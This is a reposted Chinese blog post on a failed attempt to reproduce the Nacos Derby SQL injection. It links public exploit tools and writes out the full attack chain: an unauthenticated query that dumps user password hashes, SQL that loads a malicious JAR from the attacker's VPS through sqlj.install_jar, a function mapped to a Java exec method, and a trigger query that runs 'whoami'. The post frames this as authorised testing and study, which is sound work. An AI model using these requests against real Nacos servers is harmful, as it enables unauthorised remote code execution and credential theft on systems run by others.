记一次失败的挖洞经历,NacosDerbySQLInjection复现流程

admin 2026-09-29 05:48:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 这篇文章记录了NacosDerbySQL注入漏洞的复现过程,包括前置条件确认、注入点探测、恶意SQL写入及命令触发步骤,作者因目标存储模式非Derby导致复现失败,文章提供了利用工具链接并强调仅供授权测试使用。 综合评分: 75 文章分类: 漏洞分析,渗透测试,安全工具


记一次失败的挖洞经历,Nacos Derby SQL Injection复现流程

原创

是老A 是老A

老A搞安全

2026年9月23日 07:54 贵州

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

一位深耕网络安全的老兵,目前是一家安全公司的技术分管,擅长渗透测试及安全培训方向,老A的愿望是大家没烦恼,一切顺心!

漏洞工具分享:

NacosExploit(命令行版):https://github.com/h0ny/NacosExploitNacosExploitGUI(图形化版):https://github.com/charonlight/NacosExploitGUI

Nacos Derby SQL Injection漏洞前置条件确认

1、版本要求:Nacos <= 2.4.0-BETA

2、存储模式:必须使用内置 Derby 数据库

3、鉴权状态:需要未开启鉴权(auth_enabled=false)

复现过程(bp手工复测):

第一步:探测注入点

GET&nbsp;/nacos/v1/cs/ops/derby?sql=select%20%2a%20from%20users HTTP/1.1Host: <target>:8848

如果返回用户表数据(用户名、密码哈希),说明注入点有效。这一步是最低成本验证

但我遇到的情况是,Nacos 的存储模式不是 Derby,因此该漏洞无法在此目标上复现成功!

理想情况下第二步:通过 removal 接口写入恶意 SQL

换一个 POST 请求,打

/nacos/v1/cs/ops/data/removal和``multipart/form-data 格式,

file 参数的值就是我们要注入的 SQL:

CALL&nbsp;sqlj.install_jar('http://<your-vps>/evil.jar',&nbsp;'NACOS.xxxxxxxx',&nbsp;0)CALL&nbsp;SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.xxxxxxxx')CREATE&nbsp;FUNCTION&nbsp;S_EXAMPLE_xxxxxxxx( PARAM&nbsp;VARCHAR(2000))&nbsp;RETURNS&nbsp;VARCHAR(2000)&nbsp;PARAMETER&nbsp;STYLE JAVA&nbsp;NO&nbsp;SQL&nbsp;LANGUAGE&nbsp;JAVA&nbsp;EXTERNAL&nbsp;NAME&nbsp;'test.poc.Example.exec'

注:install_jar 把恶意 JAR 装进 Derby 的 SYS.SYSFILES 系统表,SET_DATABASE_PROPERTY 设置 Derby 类路径让引擎能加载它,CREATE FUNCTION 把 JAR 里的 exec 方法映射成一个可以调用的数据库函数

xxxxxxxx 换成随机 8 位字符串,evil.jar 是你自己编译的恶意类,Java 代码就一个静态 exec 方法执行传入参数即可

第三步:通过 derby 接口触发命令

回到 derby 接口,调用刚创建的函数:

GET&nbsp;/nacos/v1/cs/ops/derby?sql=select%20%2a%20from%20(select%20count(%2a)%20as%20b%2c%20S_EXAMPLE_xxxxxxxx('whoami')%20as%20a%20from%20config_info)%20tmp%20%2f%2aROWS%20FETCH%20NEXT%2a%2f HTTP/1.1

解码后的 SQL:

select&nbsp;*&nbsp;from&nbsp;(select&nbsp;count(*)&nbsp;as&nbsp;b,&nbsp;S_EXAMPLE_xxxxxxxx('whoami')&nbsp;as&nbsp;a&nbsp;from&nbsp;config_info) tmp&nbsp;/*ROWS FETCH NEXT*/

这里的 /*ROWS FETCH NEXT*/ 注释是为了绕过 Nacos 对结果集的限制逻辑。命令回显可以在 Burp 的 Response 里看到

⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:老A搞安全 是老A 是老A《记一次失败的挖洞经历,Nacos Derby SQL Injection复现流程》

工具|moria 网络安全文章

工具|moria

文章总结: moria是一款固件提取工具,支持结构识别、嵌套解压、字节雕刻、覆盖IoT固件主流格式、默认递归、UPX加壳识别及抗恶意输入等功能。项目地址为Git
评论:0   参与:  0